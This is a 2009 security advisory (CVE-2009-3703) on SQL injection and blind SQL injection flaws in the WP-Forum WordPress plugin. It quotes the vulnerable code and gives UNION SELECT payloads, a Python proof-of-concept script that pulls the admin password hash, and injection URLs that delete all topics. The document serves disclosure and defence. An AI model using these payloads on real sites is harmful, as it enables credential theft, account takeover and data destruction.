[ISecAuditors Security Advisories] WP-Forum <= 2.3 SQL Injection vulnerabilities


============================================= INTERNET SECURITY AUDITORS ALERT 2009-010 - Original release date: September 28th, 2009 - Last revised: December 15th, 2009 - Discovered by: Juan Galiana Lara - CVE ID: CVE-2009-3703 - Severity: 8.5/10 (CVSS Base Score) ============================================= I. VULNERABILITY ------------------------- WP-Forum <= 2.3 SQL Injection & Blind SQL Injection vulnerabilities II. BACKGROUND ------------------------- WP-Forum is a discussion forum plugin for WordPress. It works with WordPress 2+ version and PHP >= 5.0 III. DESCRIPTION ------------------------- WP-Forum fails to sanitized user supplied input and is vulnerable to SQL Injection and Blind SQL Injection. An attacker can obtain any data of the database including user logins and password's of the WordPress installation, allowing him to obtain access to the application and gain administration privileges. For the SQL Injection vulnerability, is possible to concatenate other sql requests via "union select" sentence. The parameters "search_max" and "forum" are affected by this flaw. Snippet of vulnerable code: In wpf.class file: 1836 $option_max_days = $_POST['search_max']; // <- this line is not being sanitized 1837 $option_forums = $_POST['forum']; 1838 if(!$option_max_days) 1839 $option_max_days = 9999; 1840 $op .= " AND $this->t_posts.`date` > SUBDATE(CURDATE(), INTERVAL $option_max_days DAY) "; 1841 ... 1850 foreach((array)$option_forums as $f) 1851 $a .= $f.","; // <- <- this lines is not being sanitized 1852 1853 $a = substr($a, 0, strlen($a)-1 ); 1854 if(!$a) 1855 $w = ""; 1856 else 1857 $w = "IN($a)"; 1858 1859 $sql = "SELECT $this->t_threads.parent_id as pt, $this->t_posts.id, text, $this->t_posts.subject, $this->t_posts.parent_id, $this->t_posts.`date`, MATCH ($what) AGAINST ('$search_string') AS score 1860 FROM $this->t_posts inner join $this->t_threads on $this->t_posts.parent_id = $this->t_threads.id 1861 WHERE $this->t_threads.parent_id $w 1862 AND MATCH (text) AGAINST ('$search_string') $op"; In the case of the Blind SQL Injection, the vulnerable code is... In wpf-post.php file: 57 $id = $_GET['id']; // <- $_GET['id'] is directly assigned 58 $thread = $this->check_parms($_GET['t']); 59 60 $out .= $this->header(); 61 62 $post = $wpdb->get_row("SELECT * FROM $wpforum->t_posts WHERE id = $id"); // <- id is used without clean up other example: 1490 function remove_post(){ 1491 global $user_level, $user_ID, $wpdb; 1492 $id = $_GET['id']; // <- $_GET['id'] is directly assigned 1493 $author = $wpdb->get_var("SELECT author_id from $this->t_posts where id = $id"); // id is used without clean up ... 1503 if($del == "ok"){ 1504 $wpdb->query("DELETE FROM $this->t_posts WHERE id = $id"); <- // id is used without clean up 1505 $this->o .= "<div class='updated'>".__("Post deleted", "wpforum")."</div>"; 1506 } 1507 else 1508 wp_die(__("Cheating, are we?", "wpforum")); 1509 1510 } the "id" parameter is vulnerable in other parts of the source code.. Also, is possible to delete all records in table $this->t_posts and $this->t_threads because $_GET['topic'] is not properly sanitized, injecting something like 1 or 1=1 1479 function remove_topic(){ 1480 global $user_level, $user_ID, $wpdb; 1481 $topic = $_GET['topic']; 1482 if($this->is_moderator($user_ID, $this->current_forum)){ 1483 $wpdb->query("DELETE FROM $this->t_posts WHERE parent_id = $topic"); 1484 $wpdb->query("DELETE FROM $this->t_threads WHERE id = $topic"); 1485 } 1486 else 1487 wp_die(__("Cheating, are we?", "wpforum")); 1488 1489 } IV. PROOF OF CONCEPT ------------------------- In the url: http://example.com/blog/?page_id=3&wpforumaction=search replacing 'page_id=3' parameter with the number of the WP-Forum page in each case Is possible to obtain any data of the database. Here is a proof of concept to obtain user_pass, user_login and user_email of the user with id=1 of wp_users table (normally admin). We have to fill the search_max parameter with the value: 9999 DAY) union select 1,1,1,user_pass,1,1,1 from wp_users where id=1 and subdate(curdate(), interval 9999 9999 DAY) union select 1,1,1,user_login,1,1,1 from wp_users where id=1 and subdate(curdate(), interval 9999 9999 DAY) union select 1,1,1,user_email,1,1,1 from wp_users where id=1 and subdate(curdate(), interval 9999 I wrote a PoC, to get automatically the password hash of the WordPress admin account: user@linuz:~$ cat wpforum2.3-poc.py #!/usr/bin/python # WP-Forum <= 2.3 SQL Injection PoC # Juan Galiana Lara # Internet Security Auditors import urllib import urllib2 import re url = 'http://site//wordpress/?page_id=3&wpforumaction=search' values = {'search_words' : 'any', 'search_submit' : 'Search', 'search_max' : '999 DAY) union select 1,1,1,user_pass,1,1,1 from wp_users where id=1 or SUBDATE(CURDATE(), INTERVAL 9999' } data = urllib.urlencode(values) req = urllib2.Request(url, data) response = urllib2.urlopen(req) output = response.read() o = re.search('viewtopic.+>([$].+)<',output) if o: print o.group(1) user@linuz:~$ python wpforum2.3-poc.py $P$Bn8oMY.T3kHELf/lnn07L3HXgID4go/ user@linuz:~$ That's it! For the blind sql injection, here are some examples: http://example.com/blog/?page_id=3&wpforumaction=editpost&id=1%20and%201=0&t=.0 http://example.com/blog/?page_id=3&wpforumaction=editpost&id=1%20and%201=1&t=.0 http://example.com/blog/?page_id=3&wpforumaction=viewforum&f=2.0&delete_topic&topic=3%20and%201=0 http://example.com/blog/?page_id=3&wpforumaction=viewforum&f=2.0&delete_topic&topic=3%20and%201=1 http://example.com/blog/?page_id=3&wpforumaction=viewtopic&t=1.0&sticky&id=1%20and%201=0 http://example.com/blog/?page_id=3&wpforumaction=viewtopic&t=1.0&sticky&id=1%20and%201=1 Is possible to delete all topics, injecting sql code in "topic" parameter: http://example.com/blog/?page_id=3&wpforumaction=viewforum&f=1.0&delete_topic&topic=5%20or%201=1 V. BUSINESS IMPACT ------------------------- Unauthenticated users can obtain or delete any data of the database. This flaw could result in get access to WordPress accounts including the administrator one. VI. SYSTEMS AFFECTED ------------------------- WP-Forum <= 2.3 are vulnerable. VII. SOLUTION ------------------------- Update to version 2.4. VIII. REFERENCES ------------------------- http://www.fahlstad.se/wp-plugins/wp-forum/ http://www.wordpress.org/ http://www.isecauditors.com/ IX. CREDITS ------------------------- This vulnerability has been discovered by Juan Galiana Lara (jgaliana (at) isecauditors (dot) com). X. REVISION HISTORY ------------------------- September 28, 2009: Initial release. October 13, 2009: Review. October 19, 2009: Added CVE id. December 15, 2009: Last revision. XI. DISCLOSURE TIMELINE ------------------------- September 28, 2009: Vulnerability discovered by Internet Security Auditors. October 13, 2009: Sent to developers. No response. December 13, 2009: Contact again. Response about its correction. December 14, 2009: New version published. December 15, 2009: Advisory released to lists. XII. LEGAL NOTICES ------------------------- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.